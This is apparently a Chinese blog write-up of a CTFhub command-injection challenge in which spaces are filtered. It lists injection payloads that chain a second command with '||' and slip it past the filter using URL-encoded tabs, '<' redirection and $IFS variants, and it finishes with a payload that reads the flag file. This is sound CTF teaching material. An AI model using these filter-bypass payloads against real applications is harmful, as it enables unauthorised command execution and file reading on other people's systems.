美文网首页
RCE-命令注入(3)[CTFhub]

RCE-命令注入(3)[CTFhub]

作者: 六亲不认的步伐 | 来源:发表于2020-05-27 16:57 被阅读0次

Write up

本题相对于上题,改为对空格的过滤

空格过滤代码
依旧是先查看同目录下文件
进行查询
由于对空格进行过滤,导致很多指令无法执行,无论是cat还是cp等都需要将指令和目标文件进行分开,所以空格是比较关键的。
所以,对空格过滤部分的绕过可以考虑编码绕过
首先 可尝试URL编码 空格为%20 tab编码 %09
0x7F000001||cp%09flag_1344089286819.php%09flag.txt
0x7F000001||cp%20flag_1344089286819.php%20flag.txt
0x7F000001||cp%0dflag_1344089286819.php%0dflag.txt
0x7F000001||cp<flag_1344089286819.php<flag.txt(<只适合单空格)

其次 可尝试Linux分隔符,编码 空格为%20 tab编码 %09

0x7F000001||cp$IFSflag_1344089286819.php$IFSflag.txt
0x7F000001||cp\${IFS}flag_1344089286819.php\${IFS}flag.txt
0x7F000001||cp\$IFS\$9flag_1344089286819.php\$IFS\$9flag.txt

扩展

Linux 分隔符

${IFS}, $IFS, $IFS$9

\$IFS:在linux系统下表示分隔符,但是后面内容当做变量,所以引出改进版
\${IFS}: 使用{来进行固定变量名}
\$IFS\$9:使用$9来进行截断,$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串
对于上面三个进行本地测试cp命令:

本地实验
可以看到除了$IFS无法进行创建,其余均执行成功

本题通过测试可以使用以下payload成功获取答案

127.0.0.1||cat${IFS}flag_1344089286819.php
执行效果

ctfhub{6ebf357e9f10fbca7387aa****c8a9cc72}


参考资料

FreeBuf 浅谈CTF中命令执行与绕过的小技巧
CSDN CTF命令执行及绕过技巧

相关文章

网友评论

      本文标题:RCE-命令注入(3)[CTFhub]

      本文链接:https://www.haomeiwen.com/subject/liowahtx.html